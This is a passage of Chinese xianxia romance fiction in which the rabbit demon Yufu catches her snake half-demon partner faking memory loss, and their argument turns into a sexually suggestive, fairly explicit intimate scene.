所谓旁观者清,玉扶也倏然有些儿不确定了,她似乎很久没听半妖说过头疼了,而她每每为刺激他记忆回忆起的截然不同的他,也许久没有被质疑过了。 是什么时候开始的? 玉扶努力想了好一会,也没能抓到任何蛛丝马迹,她对半妖实在太适应了,习惯到了怎么转变都能接受的地步。 但怀疑的种子种下,当日里,玉扶就小鬼魂一般地跟在半妖身后,当然,没有观察出任何不对,倒是夜里,她递给了半妖一瓶丹药:“这是我师姐今日新送来的,对受伤的神魂非常大补!” “吃下这个,你定然能再想起些什么。” 半妖感动接过,面不改色地一瓶倒入。 玉扶阻止不及。 半妖痛苦皱眉,抱着玉扶滚入满是阳光味道的绒窝中:“阿扶,我似乎是记起来了什么。” “我们一起经历了许多的事,你帮我拯救了卡皮的尾巴对吗?” 玉扶点头:“是有这么回事。” 半妖埋在玉扶肩头,努力地回想:“记忆好乱,阿扶,不如你再揉一揉我的尾巴,或许我会想起更多。” 一截漂亮的尾巴尖如是落到了玉扶手中。 然则,玉扶没有揉,而是抱起狠狠咬了一口,继而一瞬变为膨胀的兔子将半妖压在身下,双眼瞪成了怒气的形状:“骗子!” “我给你吃的根本不是修复神魂的丹药,不过是我师姐做的,用灵果果汁缩酿而成的零嘴儿!” “你是不是早就都想起来,还装可怜地每次骗我与你酱酱酿酿?” 发怒了的兔子,撼地不止。 但半妖的形体显见地不弱于玉扶,全然化为蛇形的半妖缠啊拧啊地与玉扶纠为了一团,他的蛇尾勒住了玉扶的后腿与敏感的部位,可恶的尾巴尖还卷啊卷地玩她露在外的短尾巴。 玉扶气得又化形回了人形,霎时,姿态更不雅地被半妖缠着,如果不是半妖也适应性地将妖躯缩小,玉扶毫不怀疑,她会被缠得窒息。 半妖似乎极喜欢这样缠着她,蛇腹蜷动中,净往一些玉扶怕痒的地方收缩,他的蛇首搭在玉扶的肩上,蛇信嘶嘶亲吻,最后才化形地拥住玉扶,带着歉意地安抚,等玉扶安分下来后才道:“阿扶,还想看看我的神魂吗?” 玉扶早就看过很多次半妖的神魂,每一次都会有新的好转,变得更完整,更漂亮。 眼下,她还气呼呼的,并不想看,半妖的头却先靠了过来,敞开的识海,一眼可见内里的漂亮小蛇,不再止于蛇形,已能化出半人,半妖柔柔低声与玉扶说话:“阿扶,太多记忆了,我经常会感到恍惚,分不清哪一个我才是真实。” “也分不清你爱的又是哪一个?” “但每一次你与我提起过去,又令我真实地感受到爱意,阿扶,我喜爱你爱我,任何一个都好。” “你会让我想起更多,也更接受当下的自己。” 半妖一下又一下地亲吻玉扶,神魂贴近般地缠得神魂小兔也变成光溜溜的玉扶。 他真的好妖,他怎么能将私心都说成是接受呢,玉扶都快要被说服了,可是,半妖才不是什么小可怜,是破破烂烂的时候都能威慑妖域的大坏蛇。 玉扶的神魂骑上了半妖,一口咬上去:“说真话!” 半妖无奈敞怀,一笑,无论是脸庞还是气质,都变得邪气、坏蛋,带着一股子说不清的慵懒勾人:“想睡你。” “特别喜欢看你心疼我,哭着努力地包容我。” “阿扶,你真漂亮,真的好乖,每次说不行了,还会踮起脚尖吃满。” 玉扶已经要忍不住尖叫爆鸣了,他完全没有脸皮,坏得理所当然,说出的话越来越没有下限。 玉扶去捂他的唇,半妖却一舔一舔她的手心,不断向上亲吻地说着他最真实的想法:“那些死去的记忆全想起来又如何,你该看到的,再也分不开了,我是他,也是“他”,你可能不知道吧,不论是哪个意识,都一样地想喜爱你,想把你欺负死在床上才好。” “佛修虚伪,假克制,阿裴,他倒是坦诚,现在,我们在一起爱你。” “阿扶,你敢接受吗?”半妖亲了亲玉扶的眼尾,声嗓调放得更缓:“本想晚点让你知道的,阿扶,我变得更坏了,尤其是对你。” 迷恋的叹息,埋入少女的颈窝。 玉扶战栗地接受,她好像懂得了半妖的意思,属于息尘那份为人的纯净中,与阿裴一样有着对她的恶意,那种占有与克制,共同酿出了如今的半妖。 混乱的邪恶,妖王的珍宝,他不会因恢复记忆变得更好,而是更无所顾忌,更无畏,更放纵地爱。 玉扶快要被爱得窒息了,刺激得四肢乃至神魂都在发颤。 她要如何回应? 玉扶可怕地发现,她竟不是怕,而是想着回应。 神魂双修的缺点太明显了,彼此的情绪一点也藏不住。 玉扶还不曾开口,半妖就已然接收到她的想法,铺天盖地的亲吻,密不透风的神魂包裹,不装可怜了的半妖,嚣张地展开了他的所有欲求。 玉扶推他,呜呜地与说要罚他,要他面壁思过,半妖短暂地停顿了一下,笑意绽开,答应了声“好”。 继而抬起她的月退,诡丽的脸,亲吻向下埋。 他总曲解她的意思,不管黑的白的都理解成色的。 玉扶又呜又羞地撇脸,好想躲起来。 可渐渐的,便又同频了,恶与柔,心贴心。《 》